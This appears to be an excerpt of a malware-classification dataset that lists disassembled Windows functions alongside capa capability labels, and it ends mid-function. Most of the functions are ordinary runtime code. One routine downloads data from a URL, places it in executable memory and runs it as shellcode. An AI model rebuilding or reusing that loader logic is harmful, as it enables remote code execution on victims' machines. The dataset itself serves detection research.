joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14007b6cf
Capabilities:
Parse pe header

Disassembly:
jmp 0x140099ed0
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140099ef0
xor al, al
jmp 0x140099f71
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140099f03
xor al, al
jmp 0x140099f71
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140099f2d
xor al, al
jmp 0x140099f71
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140099f41
xor al, al
jmp 0x140099f71
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140099f53
xor al, al
jmp 0x140099f71
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140099f6f
xor al, al
jmp 0x140099f71
mov al, 1
add rsp, 0x38
ret
Function at 0x14007bc6f
Capabilities:
Terminate process

Disassembly:
jmp 0x1400bd9c0
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov ecx, 0x17
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
test eax, eax
je 0x1400bd9ee
mov ecx, 5
int 0x29
mov r8d, 1
mov edx, 0xc0000417
mov ecx, 2
call fcn.14007c4e4
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000417
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x28
ret

Function at 0x14007c53e
Capabilities:
Print debug messages

Disassembly:
jmp 0x14012fd10
mov qword [rsp + 8], rcx
sub rsp, 0x28
mov rax, qword [rsp + 0x30]
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
add rsp, 0x28
ret
Function at 0x14007c5e8
Capabilities:
Set thread local storage value

Disassembly:
jmp 0x1400bc740
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
sub rsp, 0x48
call fcn.1400bc090
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
je 0x1400bc789
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x30], rax
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
mov rax, qword [rsp + 0x30]
call qword [0x1401cc020]
jmp 0x1400bc798
mov rdx, qword [rsp + 0x58]
mov ecx, dword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_TlsSetValue]
add rsp, 0x48
ret
Function at 0x140163d70
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140079a32
sub rsp, rax
mov rax, qword [0x1401b7100]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1401baec0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x60], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x68]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140163f62
lea rax, [rsp + 0x147f]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x38], rax
jae 0x140163eb6
mov rax, qword [rsp + 0x50]
cmp qword [rsp + 0x48], rax
jae 0x140163eb6
mov rax, qword [rsp + 0x48]
movzx eax, byte [rax]
mov byte [rsp + 0x31], al
mov rax, qword [rsp + 0x48]
inc rax
mov qword [rsp + 0x48], rax
movzx eax, byte [rsp + 0x31]
mov byte [rsp + 0x30], al
movsx eax, byte [rsp + 0x30]
cmp eax, 0xa
jne 0x140163e9b
mov eax, dword [rsp + 0x70]
inc eax
mov dword [rsp + 0x70], eax
mov rax, qword [rsp + 0x38]
mov byte [rax], 0xd
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, byte [rsp + 0x30]
mov byte [rax], cl
mov rax, qword [rsp + 0x38]
inc rax
mov qword [rsp + 0x38], rax
jmp 0x140163e38
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x44]
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x140163f22
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x68], eax
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140163f81
mov eax, dword [rsp + 0x44]
mov ecx, dword [rsp + 0x6c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6c], eax
mov eax, dword [rsp + 0x40]
cmp dword [rsp + 0x44], eax
jae 0x140163f5d
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x140163f81
jmp 0x140163e0e
lea rax, [rsp + 0x68]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007abc1
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x140164030
Capabilities:
Write file on windows

Disassembly:
mov dword [rsp + 0x20], r9d
mov qword [rsp + 0x18], r8
mov dword [rsp + 0x10], edx
mov qword [rsp + 8], rcx
push rsi
push rdi
mov eax, 0x1498
call fcn.140079a32
sub rsp, rax
mov rax, qword [0x1401b7100]
xor rax, rsp
mov qword [rsp + 0x1480], rax
mov eax, dword [rsp + 0x14b8]
sar eax, 6
cdqe
lea rcx, [0x1401baec0]
mov edx, dword [rsp + 0x14b8]
and edx, 0x3f
movsxd rdx, edx
imul rdx, rdx, 0x48
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + rdx + 0x28]
mov qword [rsp + 0x68], rax
mov eax, dword [rsp + 0x14c8]
mov rcx, qword [rsp + 0x14c0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x70]
mov rdi, rax
xor eax, eax
mov ecx, 0xc
rep stosb byte [rdi], al
mov rax, qword [rsp + 0x14c0]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x14016423d
lea rax, [rsp + 0x147e]
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x80]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
cmp qword [rsp + 0x38], rax
jae 0x140164189
mov rax, qword [rsp + 0x58]
cmp qword [rsp + 0x50], rax
jae 0x140164189
mov rax, qword [rsp + 0x50]
movzx eax, word [rax]
mov word [rsp + 0x40], ax
mov rax, qword [rsp + 0x50]
add rax, 2
mov qword [rsp + 0x50], rax
movzx eax, word [rsp + 0x40]
mov word [rsp + 0x30], ax
movzx eax, word [rsp + 0x30]
cmp eax, 0xa
jne 0x140164169
mov eax, dword [rsp + 0x78]
add eax, 2
mov dword [rsp + 0x78], eax
mov eax, 0xd
mov rcx, qword [rsp + 0x38]
mov word [rcx], ax
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
movzx ecx, word [rsp + 0x30]
mov word [rax], cx
mov rax, qword [rsp + 0x38]
add rax, 2
mov qword [rsp + 0x38], rax
jmp 0x1401640f8
lea rax, [rsp + 0x80]
mov rcx, qword [rsp + 0x38]
sub rcx, rax
mov rax, rcx
sar rax, 1
mov eax, eax
shl rax, 1
mov dword [rsp + 0x44], eax
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x48]
mov r8d, dword [rsp + 0x44]
lea rdx, [rsp + 0x80]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x1401641fd
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0x70], eax
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14016425c
mov eax, dword [rsp + 0x48]
mov ecx, dword [rsp + 0x74]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x74], eax
mov eax, dword [rsp + 0x44]
cmp dword [rsp + 0x48], eax
jae 0x140164238
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
jmp 0x14016425c
jmp 0x1401640ce
lea rax, [rsp + 0x70]
mov rdi, qword [rsp + 0x14b0]
mov rsi, rax
mov ecx, 0xc
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x14b0]
mov rcx, qword [rsp + 0x1480]
xor rcx, rsp
call fcn.14007abc1
add rsp, 0x1498
pop rdi
pop rsi
ret
Function at 0x14000e3d0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get http content length
Read data from internet
Receive data

Disassembly:
push rbx
sub rsp, 0x90
mov qword [rsp + 0x30], 0xfffffffffffffffe
lea rcx, [rsp + 0x38]
call fcn.14000b79c
cmp qword [rax + 0x20], 0x10
jb 0x14000e3f9
mov rcx, qword [rax + 8]
jmp 0x14000e3fd
lea rcx, [rax + 8]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x14007c048], rax
cmp qword [rsp + 0x58], 0x10
jb 0x14000e41c
mov rcx, qword [rsp + 0x40]
call fcn.14000fc7c
lea rcx, [rsp + 0x60]
call fcn.14000be64
mov rbx, rax
lea rcx, [rsp + 0x38]
call fcn.14000af90
nop
cmp qword [rbx + 0x20], 0x10
jb 0x14000e441
mov rbx, qword [rbx + 8]
jmp 0x14000e445
add rbx, 8
cmp qword [rax + 0x20], 0x10
jb 0x14000e452
mov rdx, qword [rax + 8]
jmp 0x14000e456
lea rdx, [rax + 8]
mov rcx, qword [0x14007c048]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
and dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
mov rcx, rbx
call rax
mov qword [0x14007c058], rax
cmp qword [rsp + 0x58], 0x10
jb 0x14000e490
mov rcx, qword [rsp + 0x40]
call fcn.14000fc7c
mov ebx, SafeArrayGetDim
mov qword [rsp + 0x58], rbx
and qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
cmp qword [rsp + 0x80], 0x10
jb 0x14000e4ba
mov rcx, qword [rsp + 0x68]
call fcn.14000fc7c
lea rcx, [rsp + 0x38]
call fcn.14000c358
cmp qword [rax + 0x20], 0x10
jb 0x14000e4d1
mov rdx, qword [rax + 8]
jmp 0x14000e4d5
lea rdx, [rax + 8]
and qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x80000000
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [0x14007c058]
call qword [sym.imp.WININET.dll_InternetOpenUrlA]
mov qword [0x14007c050], rax
cmp qword [rsp + 0x58], 0x10
jb 0x14000e516
mov rcx, qword [rsp + 0x40]
call fcn.14000fc7c
mov rax, qword [0x14007c050]
mov qword [rsp + 0x58], rbx
and qword [rsp + 0x50], 0
mov byte [rsp + 0x40], 0
mov dword [0x14007c08c], 4
and qword [rsp + 0x20], 0
lea r9, [0x14007c08c]
lea r8, [0x14007c088]
mov edx, 0x20000005
mov rcx, rax
call qword [sym.imp.WININET.dll_HttpQueryInfoA]
mov ecx, dword [0x14007c088]
call fcn.14000fc74
mov qword [0x14007c070], rax
lea r9, [0x14007c090]
mov r8d, dword [0x14007c088]
mov rdx, rax
mov rcx, qword [0x14007c050]
call qword [sym.imp.WININET.dll_InternetReadFile]
mov edx, dword [0x14007c088]
xor ecx, ecx
lea r9d, [rcx + 0x40]
mov r8d, 0x1000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [0x14007c060], rax
mov r8d, dword [0x14007c088]
mov rdx, qword [0x14007c070]
mov rcx, rax
add rsp, 0x90
pop rbx
jmp fcn.140038020
Function at 0x140010bf8
Capabilities:
Get graphical window text

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, rcx
mov rcx, qword [rcx + 0x40]
mov rbx, r8
call fcn.140021ab0
mov rsi, rax
test rax, rax
je 0x140010c74
mov rcx, rax
call qword [sym.imp.USER32.dll_GetDlgCtrlID]
mov edi, eax
test rbx, rbx
je 0x140010c6f
cmp dword [rbx], 0x40
jb 0x140010c6f
mov rcx, qword [rbp + 0x40]
or dword [rbx + 4], 1
or qword [rbx + 0x30], 0xffffffffffffffff
mov qword [rbx + 8], rcx
xor r9d, r9d
xor r8d, r8d
mov edx, 0x87
mov rcx, rsi
mov qword [rbx + 0x10], rsi
call qword [sym.imp.USER32.dll_SendMessageA]
bt rax, 0xd
jb 0x140010c6f
or dword [rbx + 4], 0x80000002
mov rax, rdi
jmp 0x140010c78
or rax, 0xffffffffffffffff
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x1400174a8
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
sub rsp, 0x20
xor edi, edi
xor ebx, ebx
mov rsi, rdx
mov rbp, rcx
test rdx, rdx
je 0x140017510
call fcn.14001a7a8
mov r8d, 0xf0
mov rdx, rsi
mov r12, qword [rax + 0x18]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x140017510
mov rdx, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x140017532
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rdi, rax
mov rdx, rdi
mov rcx, rbp
call fcn.140016ec0
mov esi, eax
test rdi, rdi
je 0x140017530
test rbx, rbx
je 0x140017530
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov eax, esi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r12
ret
Function at 0x14001b684
Capabilities:
Get graphical window text

Disassembly:
push rdi
sub rsp, 0x30
mov qword [rsp + 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x48], rbx
mov qword [rsp + 0x50], rsi
movsxd rsi, r8d
mov rdi, rdx
mov rbx, rcx
cmp qword [rcx + 0xa0], 0
jne 0x14001b6c2
mov r8d, esi
mov rcx, qword [rcx + 0x40]
call qword [sym.imp.USER32.dll_GetWindowTextA]
jmp 0x14001b776
call fcn.140017e30
mov r11, rax
xor ecx, ecx
test rax, rax
setne cl
test ecx, ecx
jne 0x14001b6e1
mov ecx, 0x80004005
call fcn.140001000
int3
mov rax, qword [rax]
mov rcx, r11
call qword [rax + 0x18]
add rax, 0x18
mov qword [rsp + 0x40], rax
mov rcx, qword [rbx + 0xa0]
mov rax, qword [rcx]
lea rdx, [rsp + 0x40]
call qword [rax + 0x118]
mov rdx, rsi
or rsi, 0xffffffffffffffff
mov r9, rsi
mov r8, qword [rsp + 0x40]
mov rcx, rdi
call fcn.14003a9cc
test eax, eax
je 0x14001b749
cmp eax, 0xc
je 0x14001b743
cmp eax, 0x16
je 0x14001b73d
cmp eax, 0x22
je 0x14001b73d
cmp eax, 0x50
je 0x14001b749
call fcn.140018838
int3
call fcn.140018838
int3
call fcn.1400187f0
int3
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov ebx, eax
mov rdx, qword [rsp + 0x40]
add rdx, 0xffffffffffffffe8
mov ecx, esi
lock xadd dword [rdx + 0x10], ecx
add ecx, esi
test ecx, ecx
jg 0x14001b774
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.oledlg.dll_OleUIBusyA + 8]
mov eax, ebx
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret

Function at 0x14001e834
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r13
push r14
sub rsp, 0x20
xor esi, esi
xor ebx, ebx
mov r12, r9
mov rdi, r8
mov rbp, rdx
mov r14, rcx
test r8, r8
je 0x14001e8a6
call fcn.14001a7a8
mov r8d, 0xf0
mov rdx, rdi
mov r13, qword [rax + 0x18]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindResourceA]
test rax, rax
je 0x14001e8a6
mov rdx, rax
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov rbx, rax
test rax, rax
je 0x14001e8f3
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_LockResource]
mov rsi, rax
mov edi, 1
test rsi, rsi
je 0x14001e8d3
mov r10, qword [r14]
mov r9, r12
mov r8, rsi
mov rdx, rbp
mov rcx, r14
call qword [r10 + 0x40]
mov edi, eax
test rbx, rbx
je 0x14001e8d3
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeResource]
cmp qword [rbp + 0x98], 0
je 0x14001e8f1
mov rcx, qword [rbp + 0x98]
mov rdx, r12
mov r8, qword [rcx]
call qword [r8 + 0x140]
mov eax, edi
mov rbx, qword [rsp + 0x40]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
mov rdi, qword [rsp + 0x58]
add rsp, 0x20
pop r14
pop r13
pop r12
ret
Function at 0x140020df0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
movzx edx, dx
jmp method.CDialog.virtual_640
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
mov rbp, r8
mov rdi, rdx
mov rsi, rcx
mov qword [rcx + 0xb0], rdx
test rdx, 0xffffffffffff0000
jne 0x140020e2f
cmp dword [rcx + 0xa8], 0
jne 0x140020e2f
movzx eax, dx
mov dword [rcx + 0xa8], eax
call fcn.14001a7a8
mov r8d, 5
mov rdx, rdi
mov rbx, qword [rax + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindResourceA]
mov rcx, rbx
mov rdx, rax
call qword [sym.imp.KERNEL32.dll_LoadResource]
mov r9, rbx
mov r8, rbp
mov rdx, rax
mov rcx, rsi
mov rdi, rax
call fcn.140020d94
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_FreeResource]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov eax, ebx
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
Function at 0x14003b02c
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov dword [rsp + 0x18], r8d
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov r12d, r8d
mov ebx, edx
mov r15d, ecx
mov ecx, 8
call fcn.1400439f0
nop
cmp dword [0x14007b160], 1
je 0x14003afd8
mov dword [0x14007b15c], 1
mov byte [0x14007b158], r12b
test ebx, ebx
jne 0x14003afc4
mov rcx, qword [0x14007d4f0]
call sub.KERNEL32.dll_DecodePointer
mov rsi, rax
mov qword [rsp + 0x30], rax
test rax, rax
je 0x14003afb1
mov rcx, qword [0x14007d4e8]
call sub.KERNEL32.dll_DecodePointer
mov rdi, rax
mov qword [rsp + 0x20], rax
mov r14, rsi
mov qword [rsp + 0x28], rsi
mov r13, rax
mov qword [rsp + 0x38], rax
sub rdi, 8
mov qword [rsp + 0x20], rdi
cmp rdi, rsi
jb 0x14003af50
call fcn.14003fc2c
cmp qword [rdi], rax
jne 0x14003af50
jmp 0x14003af36
cmp rdi, rsi
jb 0x14003afb1
mov rcx, qword [rdi]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
call fcn.14003fc2c
mov qword [rdi], rax
call rbx
mov rcx, qword [0x14007d4f0]
call sub.KERNEL32.dll_DecodePointer
mov rbx, rax
mov rcx, qword [0x14007d4e8]
call sub.KERNEL32.dll_DecodePointer
cmp r14, rbx
jne 0x14003af8f
cmp r13, rax
je 0x14003afaf
mov r14, rbx
mov qword [rsp + 0x28], rbx
mov rsi, rbx
mov qword [rsp + 0x30], rbx
mov r13, rax
mov qword [rsp + 0x38], rax
mov rdi, rax
mov qword [rsp + 0x20], rax
jmp 0x14003af36
lea rdx, [0x140052c90]
lea rcx, [0x140052c78]
call fcn.14003ad80
lea rdx, [0x140052ca0]
lea rcx, [0x140052c98]
call fcn.14003ad80
nop
test r12d, r12d
je 0x14003afe7
mov ecx, 8
call fcn.1400438f0
test r12d, r12d
jne 0x14003b012
mov dword [0x14007b160], 1
lea ecx, [r12 + 8]
call fcn.1400438f0
mov ecx, r15d
call fcn.14003ad14
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rbx, qword [rsp + 0x70]
mov rsi, qword [rsp + 0x78]
add rsp, 0x40
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
xor r8d, r8d
xor edx, edx
jmp 0x14003aea0

Function at 0x14003b038
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
lea edx, [r8 + 1]
jmp 0x14003aea0
Function at 0x14003bfa3
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140071a80]
jne 0x14003684a
rol rcx, 0x10
test cx, 0xffff
jne 0x140036846
repz ret
ror rcx, 0x10
jmp 0x14003befc
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x14007b210]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov r11, qword [0x14007b308]
mov qword [rsp + 0x58], r11
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x14003bf81
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x14007b210]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x14003bfa3
mov rax, qword [rsp + 0x88]
mov qword [0x14007b308], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x14007b2a8], rax
mov rax, qword [0x14007b308]
mov qword [0x14007b180], rax
mov rax, qword [rsp + 0x90]
mov qword [0x14007b290], rax
mov dword [0x14007b170], 0xc0000409
mov dword [0x14007b174], 1
mov rax, qword [0x140071a80]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140071a88]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x14007b208], eax
mov ecx, 1
call fcn.1400450c8
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14005ad48]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x14007b208], 0
jne 0x14003c02a
mov ecx, 1
call fcn.1400450c8
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x140046e00
Capabilities:
Link many functions at runtime

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x40
mov ebp, r8d
mov r13, rdx
mov r14, rcx
call fcn.14003fc2c
xor ebx, ebx
mov rdi, rax
cmp qword [0x14007bf60], rbx
jne 0x140046f06
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
je 0x140046fdb
lea rdx, [0x14005c998]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140046fdb
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14005c988]
mov rcx, rsi
mov qword [0x14007bf60], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, [0x14005c970]
mov rcx, rsi
mov qword [0x14007bf68], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
lea rdx, str.GetUserObjectInformationA
mov rcx, rsi
mov qword [0x14007bf70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov r11, rax
mov qword [0x14007bf80], rax
test rax, rax
je 0x140046efd
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call sub.KERNEL32.dll_EncodePointer
mov qword [0x14007bf78], rax
jmp 0x140046f0d
mov rax, qword [0x14007bf78]
jmp 0x140046f14
mov rax, qword [0x14007bf78]
mov r11, qword [0x14007bf80]
cmp rax, rdi
je 0x140046f7c
cmp r11, rdi
je 0x140046f7c
mov rcx, rax
call sub.KERNEL32.dll_DecodePointer
mov rcx, qword [0x14007bf80]
mov rsi, rax
call sub.KERNEL32.dll_DecodePointer
mov r12, rax
test rsi, rsi
je 0x140046f7c
test rax, rax
je 0x140046f7c
call rsi
test rax, rax
je 0x140046f76
lea rcx, [rsp + 0x88]
mov r9d, reloc.OLEAUT32.dll_VariantTimeToDosDateTime
lea r8, [rsp + 0x30]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x140046f76
test byte [rsp + 0x38], 1
jne 0x140046f7c
bts ebp, 0x15
jmp 0x140046fba
mov rcx, qword [0x14007bf68]
cmp rcx, rdi
je 0x140046fba
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140046fba
call rax
mov rbx, rax
test rax, rax
je 0x140046fba
mov rcx, qword [0x14007bf70]
cmp rcx, rdi
je 0x140046fba
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140046fba
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x14007bf60]
call sub.KERNEL32.dll_DecodePointer
test rax, rax
je 0x140046fdb
mov r9d, ebp
mov r8, r13
mov rdx, r14
mov rcx, rbx
call rax
jmp 0x140046fdd
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x78]
add rsp, 0x40
pop r14
pop r13
pop r12
pop rdi
pop rsi
ret
Function at 0x140001cb0
Capabilities:
Get system information on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
push rsi
push rdi
push r15
sub rsp, 0x20
xor edi, edi
lea r9, [rsp + 0x58]
mov rbp, r8
mov rsi, rdx
xor r8d, r8d
xor edx, edx
lea ecx, [rdi + 0xb]
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov r15d, 0x100
jmp 0x140001d54
test rdi, rdi
je 0x140001cf7
mov edx, 0x6864694e
mov rcx, rdi
call qword [sym.imp.ntoskrnl.exe_ExFreePoolWithTag]
mov rax, qword [0x140012318]
mov edx, dword [rsp + 0x58]
test rax, rax
je 0x140001d24
cmp dword [0x140012310], 0x4a61
jb 0x140001d24
mov r8d, 0x6864694e
mov rcx, r15
call qword [0x1400102b0]
jmp 0x140001d35
mov ecx, 1
mov r8d, 0x6864694e
call qword [sym.imp.ntoskrnl.exe_ExAllocatePoolWithTag]
mov rdi, rax
test rax, rax
je 0x140001d97
mov r8d, dword [rsp + 0x58]
lea r9, [rsp + 0x58]
mov rdx, rax
mov ecx, 0xb
call sub.ntoskrnl.exe_ZwQuerySystemInformation
mov ebx, eax
cmp eax, 0xc0000004
